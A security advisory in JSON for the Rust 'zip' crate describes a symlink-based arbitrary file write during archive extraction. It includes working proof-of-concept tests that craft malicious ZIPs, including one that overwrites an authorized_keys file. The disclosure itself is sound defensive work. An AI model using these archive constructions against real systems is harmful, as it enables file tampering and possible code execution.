{"schema_version":"1.9.2","id":"GHSA-hjqx-j4rw-g7xv","published":"2026-10-29T16:40:12Z","modified":"2026-10-29T17:00:04.176160891Z","aliases":["CVE-2026-115908"],"summary":"zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically. ","details":"### Summary\n\n- **Verified version:** zip `9.0.0-pre3`\n- **Affected versions:** `7.2.0` and later\n- **Precondition:** The attacker knows (or can guess) the absolute path of the extraction destination\n\nThe validation applied to symlinks is purely lexical.\nAs a result, an attacker can write arbitrary files outside the extraction directory through a symlink.\nExploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, `/opt/app`, a fixed Downloads path, and so on.\n\n> **Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases)**:  \n> Because `simplified_components` discards the `Prefix` component, paths like `D:\\<same tail as dest>` or a UNC path `\\\\attacker\\share\\<same tail>` pass the `starts_with` check.  \n> As a result, `outpath.push` gets replaced onto a different drive/remote share, so **a single symlink is enough — no intermediate symlink chain is required**.  \n> That said, creating a symlink on Windows requires `SeCreateSymbolicLinkPrivilege` (administrator rights or Developer Mode enabled).\n> **Real-hardware verification (Windows 10 VM (19045.2604), `tests/poc_win.rs`)**:  \n> With the extraction target set to a temporary directory under `C:`, both of the following paths returned `Ok(())` from `extract()` and successfully wrote outside the extraction target.  \n> In both cases `extract()` returned no error (`Ok(())`), and it was confirmed that the contents of `pwned.txt` matched the attacker-specified value.\n\n### Relationship to CVE-2025-29787\n\nThis is **not a duplicate** of the existing [CVE-2025-29787](https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8) (2025-03); rather, **the protection introduced for that CVE was subsequently lost**.\n\n#### Timeline (git history, UTC)\n\n| commit     | Date       | Description                                                                                                      |\n| ---------- | ---------- | ---------------------------------------------------------------------------------------------------------------- |\n| `d4539d6b` | 2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination |\n| `0199ac2c` | 2025-03-15 | **Before the v2.3.0 release**, the above is replaced with a lexical check based on `simplified_components`         |\n| `v2.3.0`   | 2025-03-16 | Released as the CVE fix. **What actually shipped is the lexical check**                                           |\n| `d5cf4b55` | 2026-01-18 | Changes how `simplified_components` handles absolute paths, **from rejecting them to silently stripping them** (released in `v7.2.0`) |\n\n#### Why v2.3.0 was not affected, and how the protection was lost\n\nThe `safe_prepare_path` in v2.3.0 performs essentially the same lexical check as the current code. However, `simplified_components` at that time **rejected any path containing an absolute component**, so an absolute symlink target was never accepted in the first place and this attack path did not work.\n\n```rust\n// v2.3.0: reject absolute paths\nComponent::Prefix(_) | Component::RootDir => return None,\n\n// Current: ignore the fact that the path is absolute\nUtf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),\n```\n\n`d5cf4b55` was intended to make archives containing absolute path names extractable, but as a side effect **absolute symlink targets now pass the lexical check**, which silently removed the protection against CVE-2025-29787.\n\n#### Verification\n\nThe following three cases were compared using the same build (`9.0.0-pre3`):\n\n| Payload / condition                                                        | Result                                                                                       |\n| -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |\n| Original PoC for CVE-2025-29787 (relative symlink `parent -> ../`)          | **Blocked** with `Err(InvalidArchive(\"Invalid symlink target path\"))` (the CVE fix itself is effective) |\n| PoC in this report (two-stage symlink using absolute paths)                | **Succeeds** with `Ok(())`, writing outside the destination                                   |\n| PoC in this report, with the `d5cf4b55` change reverted to `return None`   | **Blocked** with `Err(InvalidArchive(\"Invalid symlink target path\"))`                          |\n\nThe first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate.\nThe third row confirms that this vulnerability originates from the change in `d5cf4b55`.\n\n#### Differences from CVE-2025-29787\n\n- **Stricter precondition:** This issue requires the absolute path of the destination to be known (`AC:H`). The CVE worked with a relative `../` and had no such precondition.\n- **Narrower API surface:** This issue affects only `ZipArchive::extract` (and `extract_unwrapped_root_dir`). `ZipStreamReader::extract` is not affected, because `external_attributes` in the local header is `0` and therefore `is_symlink()` never returns true (the CVE affected both APIs).\n\n### Details\n\n#### Lexical validation of the path string\n\nThe symlink validation in `src/read/zipfile.rs: L290-345` is lexical.\n\n**`src/read/zipfile.rs: fn safe_prepare_path` (L316-321):**\n```rust\nif !crate::path::simplified_components(&target)\n    .ok_or(invalid!(\"Invalid symlink target path\"))?\n    .starts_with(\n        &crate::path::simplified_components(base_path)\n            .ok_or(invalid!(\"Invalid base path\"))?,\n    )\n```\n\n`simplified_components` discards the information that a path is **absolute (drive prefix / root)**, normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system.\n\nConsequently, the classic **Zip Slip** vector using `..` is blocked, but paths that involve symlink resolution are not.\n\n**`src/path.rs: fn simplified_components` (L9~26):**\n```rust\n/// Simplify a path by removing the prefix and parent directories and only return normal components\npub(crate) fn simplified_components(input: &Path) -> Option<Vec<&OsStr>> {\n    let mut out = Vec::new();\n    let input_str = input.to_str()?;\n    for component in Utf8WindowsPath::new(input_str).components() {\n        match component {\n            // Skip prefix and root directory components instead of rejecting the entire path\n            // This allows extraction of ZIP files with absolute paths, similar to other ZIP tools\n            Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),\n            Utf8WindowsComponent::ParentDir => {\n                out.pop()?;\n            }\n            Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)),\n            Utf8WindowsComponent::CurDir => (),\n        }\n    }\n    Some(out)\n}\n```\n\n#### Insufficient validation of `target`\n\nOnce the path check passes, **`src/read/zipfile.rs: fn safe_prepare_path` (L345)** performs `outpath.push(target)`, but **whether any intermediate component of `target` is itself a symlink is never checked**.\n\nIn addition, `make_symlink`, which is called from `extract_internal`, delegates to `make_symlink_impl` and only validates that the archive-supplied `target` is valid UTF-8.\nThere is no check that `target` stays inside the destination, so the symlink is created as-is.\n\n**`src/read/mod.rs: fn extract_internal` (L396-406):**\n```rust\n#[cfg(any(unix, windows))]\nif file.is_symlink() {\n    let mut target = Vec::with_capacity(file.size() as usize);\n    file.read_to_end(&mut target)?;\n    drop(file);\n    make_symlink(&outpath, &target, &self.shared.files)?;\n    continue;\n} else if file.is_dir() {\n    make_writable_dir_all(&outpath)?;\n    continue;\n}\n```\n\n**`src/read/mod.rs: fn make_symlink_impl` (L57-90):**\n```rust\n#[cfg(unix)]\npub(crate) fn make_symlink_impl<T>(\n    outpath: &Path,\n    target_str: &str,\n    _existing_files: &IndexMap<Box<[u8]>, T>,\n) -> ZipResult<()> {\n    std::os::unix::fs::symlink(Path::new(&target_str), outpath)?;\n    Ok(())\n}\n\n#[cfg(windows)]\npub(crate) fn make_symlink_impl<T>(\n    outpath: &Path,\n    target_str: &str,\n    existing_files: &IndexMap<Box<[u8]>, T>,\n) -> ZipResult<()> {\n    use crate::format::functions::is_dir;\n    let target = Path::new(OsStr::new(&target_str));\n    let target_is_dir_from_archive =\n        is_dir(target_str.as_bytes()) && existing_files.contains_key(target_str.as_bytes());\n    let target_is_dir = if target_is_dir_from_archive {\n        true\n    } else if let Ok(meta) = std::fs::metadata(target) {\n        meta.is_dir()\n    } else {\n        false\n    };\n    if target_is_dir {\n        std::os::windows::fs::symlink_dir(target, outpath)?;\n    } else {\n        std::os::windows::fs::symlink_file(target, outpath)?;\n    }\n    Ok(())\n}\n```\n\n#### Contradiction with the doc comment\n\nThe documentation comment of `extract` at `src/read/mod.rs: L266-269` states the following.\nIn reality, however, there is no validation when a symlink is created, and **`canonicalize` is not used to validate symlink targets** (`canonicalize` is used only in **`src/read/mod.rs: fn extract_internal` (L357)**, to normalize the destination directory itself).\n\n```rust\n    /// Extract a Zip archive into a directory, overwriting files if they\n    /// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only\n    /// created and followed if the target is within the destination directory (this is checked\n    /// conservatively using [`std::fs::canonicalize`]).\n```\n\nCombining the above makes it possible to write outside the destination during extraction:\n\n| entry       | kind    | target                                                              |\n| ----------- | ------- | ------------------------------------------------------------------- |\n| b           | symlink | `/…/outside` (created without validation)                           |\n| a           | symlink | `<dest>/b/sub` (lexically under dest, so it passes the check)       |\n| a/pwned.txt | file    | -                                                                   |\n\nEntries are processed in central directory order (`for i in 0..self.len()` at `src/read/mod.rs: L386`), so the order above (`b` -> `a` -> `a/pwned.txt`) is required.\n\nExtraction then proceeds as follows:\n\n1. `b`: without any validation, the symlink `<dest>/b -> /…/outside`, **pointing outside the destination**, is created.\n2. `a`: likewise without validation, `<dest>/a -> <dest>/b/sub` is created.\n3. `a/pwned.txt`: when `safe_prepare_path` processes the component `a`, it sees that `<dest>/a` is a symlink and validates its target (`<dest>/b/sub`). Lexically that target is under `<dest>`, so the check passes and `outpath` becomes `<dest>/b/sub`.\n   - At this point, **the fact that `b`, an intermediate component of the target, is a symlink pointing outside is never re-validated**.\n   - Because `a` is not the final component, `make_writable_dir_all` is called and creates `<dest>/b/sub` (which really is `/…/outside/sub`).\n4. Finally `File::create` creates `<dest>/b/sub/pwned.txt`; the kernel resolves `b` and writes to **`/…/outside/sub/pwned.txt`**. `extract()` returns `Ok(())`.\n\n### PoC\n\nThe PoC below is written as a unit test.\nPlace it at `tests/poc_linux.rs` and run `cargo test --test poc_linux -- --nocapture` to reproduce.\n\n- `zip_slip_via_symlink`: Write a new file outside the extraction destination\n- `overwrite_existing_ssh_authorized_keys`: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destination\n\n`tests/poc_linux.rs`\n```rust\n//! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv)\n//!\n//! - author: sl91994\n//! \n//! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`)\n//! By placing an outward-pointing symlink `b` as an \"intermediate component in the resolved path\", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified.\n//! Can be reproduced with `cargo test --test poc_linux -- --nocapture`\n\n#![cfg(unix)]\n\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse tempfile::TempDir;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n/// Verification of writing a new file outside the extraction destination\n#[test]\nfn zip_slip_via_symlink() {\n    let tmp = TempDir::new().unwrap();\n    let dest = tmp.path().join(\"dest\"); // Extraction destination\n    let outside = tmp.path().join(\"outside\"); // A location where writing should not be allowed\n    fs::create_dir(&dest).unwrap();\n    fs::create_dir(&outside).unwrap();\n\n    // Construct a malicious ZIP\n    let mut zip = ZipWriter::new(Cursor::new(Vec::new()));\n    let opt = SimpleFileOptions::default();\n    // b: Symlink pointing outside (target is created unverified)\n    zip.add_symlink(\"b\", outside.to_str().unwrap(), opt).unwrap();\n    // a: Symlink whose target starts under dest (passes lexical validation)\n    zip.add_symlink(\"a\", dest.join(\"b/sub\").to_str().unwrap(), opt).unwrap();\n    // a/pwned.txt: File that escapes outside dest by traversing the intermediate b\n    zip.start_file(\"a/pwned.txt\", opt).unwrap();\n    zip.write_all(b\"escaped!\").unwrap();\n    let archive = zip.finish_into_readable().unwrap();\n\n    ZipArchive::from(archive).extract(&dest).unwrap();\n\n    // Verification: File has been written outside dest\n    let escaped = outside.join(\"sub/pwned.txt\");\n    assert!(escaped.exists(), \"escape failed\");\n    assert_eq!(fs::read_to_string(&escaped).unwrap(), \"escaped!\");\n    println!(\"wrote outside dest: {}\", escaped.display());\n}\n\n/// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination\n#[test]\nfn overwrite_existing_ssh_authorized_keys() {\n    let tmp = TempDir::new().unwrap();\n    let dest = tmp.path().join(\"dest\"); // Extraction destination\n\n    // Reproduce victim's existing ~/.ssh/authorized_keys (containing a legitimate key)\n    let home = tmp.path().join(\"home_victim\");\n    let ssh = home.join(\".ssh\");\n    fs::create_dir_all(&ssh).unwrap();\n    let authorized_keys = ssh.join(\"authorized_keys\");\n    fs::write(&authorized_keys, \"ssh-ed25519 AAAA...LEGIT victim@host\\n\").unwrap();\n    let original = fs::read_to_string(&authorized_keys).unwrap();\n\n    fs::create_dir(&dest).unwrap();\n\n    // Construct a malicious ZIP\n    let mut zip = ZipWriter::new(Cursor::new(Vec::new()));\n    let opt = SimpleFileOptions::default();\n    // b: Outward-pointing symlink to victim's HOME (target unverified)\n    // Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation\n    zip.add_symlink(\"b\", home.to_str().unwrap(), opt).unwrap();\n    // a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest)\n    zip.add_symlink(\"a\", dest.join(\"b/.ssh\").to_str().unwrap(), opt).unwrap();\n    // a/authorized_keys: File entry that reaches the actual authorized_keys\n    zip.start_file(\"a/authorized_keys\", opt).unwrap();\n    zip.write_all(b\"ssh-ed25519 AAAA...ATTACKER attacker@evil\\n\").unwrap();\n    let archive = zip.finish_into_readable().unwrap();\n\n    // extract() returns Ok(()) without an error (the caller cannot detect it)\n    let res = ZipArchive::from(archive).extract(&dest);\n    println!(\"extract() returned: {:?}\", res);\n    res.unwrap();\n\n    // Verification: Existing file is overwritten with the attacker's content\n    let after = fs::read_to_string(&authorized_keys).unwrap();\n    println!(\"--- BEFORE ---\\n{original}--- AFTER ---\\n{after}\");\n    assert_ne!(after, original, \"file was NOT overwritten\");\n    assert!(after.contains(\"ATTACKER\"), \"attacker content not present\");\n    println!(\"OVERWROTE existing file: {}\", authorized_keys.display());\n}\n```\n\n#### Windows PoC (`tests/poc_win.rs`)\n\nThis is a test that verifies **escape to a different drive / UNC share via a single symlink**, specific to Windows.\nBy setting the extraction destination to a temporary directory on `C:` and making the symlink target **an absolute path on a different volume that shares the same tail as dest**, it passes the lexical check in `simplified_components` (which discards the `Prefix`), and the drive/share substitution performed by `outpath.push` results in a write outside of `dest`.\n\n- `escape_via_second_drive`: writes to `E:\\<same tail as dest>\\evil\\pwned.txt` on a separate drive (e.g. `E:`)\n- `escape_via_unc_share`: writes to `\\\\localhost\\poc\\<same tail as dest>\\evil\\pwned.txt` on a UNC share (e.g. `\\\\localhost\\poc\\`)\n\n```rust\n//! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv)\n//!\n//! - author: sl91994\n//!\n//! The crafted ZIP contains only 2 entries:\n//!   1. `a`          : a symlink whose target = `<OTHER>\\<same tail as dest>\\evil` (absolute path)\n//!   2. `a/pwned.txt`: a regular file\n//! During extraction, resolving `a` causes outpath to be replaced with `<OTHER>\\...\\evil`,\n//! and `File::create(<OTHER>\\...\\evil\\pwned.txt)` writes outside of dest.\n//!\n//! # Prerequisites\n//! - Windows 10 (build 14972+) through Windows 11\n//! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator.\n//! - One volume / share **separate from dest**.\n//!   Supply the escape destination via environment variables:\n//!     * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\\`. e.g. `D:\\`\n//!     * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\\`.\n//!       e.g. `\\\\localhost\\poc\\`\n//!       (`net share poc=C:\\path\\to\\share /grant:%USERNAME%,FULL`)\n//!\n//! # Running\n//!\n//! ```powershell\n//! $env:POC_OTHER_DRIVE = \"D:\\\"\n//! $env:POC_UNC_SHARE   = \"\\\\localhost\\poc\\\"\n//! cargo test --test poc_win -- --nocapture\n//! ```\n\n#![cfg(windows)]\n\nuse std::ffi::OsString;\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse std::path::{Component, Path, PathBuf};\n\nuse tempfile::TempDir;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n/// Whether we have the privilege needed to create symlinks\nfn have_symlink_privilege() -> bool {\n    let Ok(tmp) = TempDir::new() else {\n        return false;\n    };\n    let target = tmp.path().join(\"privcheck_target\");\n    let link = tmp.path().join(\"privcheck_link\");\n    if fs::write(&target, b\"x\").is_err() {\n        return false;\n    }\n    std::os::windows::fs::symlink_file(&target, &link).is_ok()\n}\n\n/// Extract only the Normal components of a path (the tail, with prefix / root dropped)\nfn normal_tail(p: &Path) -> Vec<OsString> {\n    p.components()\n        .filter_map(|c| match c {\n            Component::Normal(s) => Some(s.to_os_string()),\n            _ => None,\n        })\n        .collect()\n}\n\n/// Returns the `Prefix` (volume identifier) at the head of the path\nfn volume_prefix(p: &Path) -> Option<OsString> {\n    match p.components().next() {\n        Some(Component::Prefix(pre)) => Some(pre.as_os_str().to_os_string()),\n        _ => None,\n    }\n}\n\n/// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share)\nfn run_escape(variant: &str, other_root: &str) {\n    if !have_symlink_privilege() {\n        eprintln!(\n            \"[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \\\n             enable Developer Mode or run as Administrator.\"\n        );\n        return;\n    }\n\n    // other_root must be an existing, writable root\n    let other_root_path = PathBuf::from(other_root);\n    if !fs::metadata(&other_root_path)\n        .map(|m| m.is_dir())\n        .unwrap_or(false)\n    {\n        eprintln!(\n            \"[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \\\n             directory; check the environment variable.\"\n        );\n        return;\n    }\n\n    // The extraction destination `dest` is a temp directory (usually on C:). Since the `base` used by\n    // safe_prepare_path is the path after canonicalize, match the tail to that.\n    let tmp = TempDir::new().unwrap();\n    let dest = tmp.path().join(\"dest\");\n    fs::create_dir(&dest).unwrap();\n    let canon_dest = fs::canonicalize(&dest).unwrap();\n    let tail = normal_tail(&canon_dest);\n\n    // Reproduce dest's tail on a separate volume as the escape destination, with evil/ underneath it.\n    // Since simplified_components discards the prefix, the target's tail component sequence\n    // prefix-matches the base's tail component sequence, passing the lexical check.\n    let mut escape_dir = other_root_path.clone();\n    for c in &tail {\n        escape_dir.push(c);\n    }\n    escape_dir.push(\"evil\");\n\n    // Confirm it's actually a separate volume (if it's the same volume, it would land inside dest and not be an escape)\n    let other_vol = fs::canonicalize(&other_root_path)\n        .ok()\n        .and_then(|p| volume_prefix(&p));\n    let dest_vol = volume_prefix(&canon_dest);\n    assert_ne!(\n        other_vol, dest_vol,\n        \"[{variant}] escape root {other_root:?} is on the same volume as dest; \\\n         point it at a different drive/share (dest vol={dest_vol:?}).\"\n    );\n\n    // Assemble the crafted ZIP (entries: 1 symlink + 1 file)\n    let target_str = escape_dir\n        .to_str()\n        .expect(\"escape path must be valid UTF-8\")\n        .to_string();\n    println!(\"[{variant}] dest (canonical) = {}\", canon_dest.display());\n    println!(\"[{variant}] symlink target   = {target_str}\");\n\n    let mut zip = ZipWriter::new(Cursor::new(Vec::new()));\n    let opt = SimpleFileOptions::default();\n    // a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail)\n    zip.add_symlink(\"a\", &target_str, opt).unwrap();\n    // a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest\n    zip.start_file(\"a/pwned.txt\", opt).unwrap();\n    zip.write_all(b\"escaped-on-windows!\").unwrap();\n    let archive = zip.finish_into_readable().unwrap();\n\n    let res = ZipArchive::from(archive).extract(&dest);\n    println!(\"[{variant}] extract() returned: {res:?}\");\n\n    res.expect(\"extract() failed\");\n\n    let escaped = escape_dir.join(\"pwned.txt\");\n    assert!(\n        escaped.exists(),\n        \"[{variant}] escape failed: {} was not created\",\n        escaped.display()\n    );\n\n    let content = fs::read_to_string(&escaped).unwrap();\n    println!(\n        \"[{variant}] WROTE OUTSIDE DEST: {} = {content:?}\",\n        escaped.display()\n    );\n\n    let _ = fs::remove_file(&escaped);\n    let _ = fs::remove_dir(&escape_dir);\n\n    assert_eq!(\n        content, \"escaped-on-windows!\",\n        \"[{variant}] written content mismatch\",\n    );\n}\n\n/// Single-symlink escape to a separate drive (`POC_OTHER_DRIVE`, e.g. `D:\\`)\n#[test]\nfn escape_via_second_drive() {\n    match std::env::var(\"POC_OTHER_DRIVE\") {\n        Ok(root) if !root.is_empty() => run_escape(\"drive\", &root),\n        _ => eprintln!(\n            \"[SKIP] escape_via_second_drive: POC_OTHER_DRIVE not set \\\n             (PowerShell: `$env:POC_OTHER_DRIVE=\\\"D:\\\\\\\"`).\"\n        ),\n    }\n}\n\n/// Single-symlink escape to a UNC share (`POC_UNC_SHARE`, e.g. `\\\\localhost\\poc\\`)\n#[test]\nfn escape_via_unc_share() {\n    match std::env::var(\"POC_UNC_SHARE\") {\n        Ok(root) if !root.is_empty() => run_escape(\"unc\", &root),\n        _ => eprintln!(\n            \"[SKIP] escape_via_unc_share: POC_UNC_SHARE not set \\\n             (PowerShell: `$env:POC_UNC_SHARE=\\\"\\\\\\\\localhost\\\\poc\\\\\\\"`).\"\n        ),\n    }\n}\n```\n\n### Impact\n\nWith the privileges of the process that extracts an untrusted ZIP archive via `ZipArchive::extract` / `ZipArchive::extract_unwrapped_root_dir`, an attacker can **write a file with arbitrary contents to an arbitrary path outside the extraction directory**.\n\n- Because existing files can be overwritten, tampering with files such as `~/.ssh/authorized_keys`, `~/.bashrc`, `.git/hooks/*`, CI configuration, or a service's binaries and configuration files **may lead to remote code execution or privilege escalation**. Destroying critical files can also cause denial of service.\n- Extraction **does not fail and returns `Ok(())`**, so the caller has no straightforward way to detect the attack.\n- The documentation of `extract()` explicitly states that **symbolic links are only created and followed if the target is within the destination directory**, so downstream applications that rely on this as a sandbox boundary are directly affected.\n\nExploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, `/opt/<app>`, a fixed Downloads directory, and so on.","affected":[{"package":{"name":"zip","ecosystem":"crates.io","purl":"pkg:cargo/zip"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.2.0"},{"fixed":"9.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-hjqx-j4rw-g7xv/GHSA-hjqx-j4rw-g7xv.json"}}],"references":[{"type":"WEB","url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-hjqx-j4rw-g7xv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115908"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/commit/09c030eab56e8db8fb3c1c33f554407b30bad8fa"},{"type":"PACKAGE","url":"https://github.com/zip-rs/zip2"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0"}],"database_specific":{"cwe_ids":["CWE-22","CWE-59","CWE-61"],"github_reviewed":true,"github_reviewed_at":"2026-10-29T16:40:12Z","nvd_published_at":"2026-10-26T17:17:18Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"}]}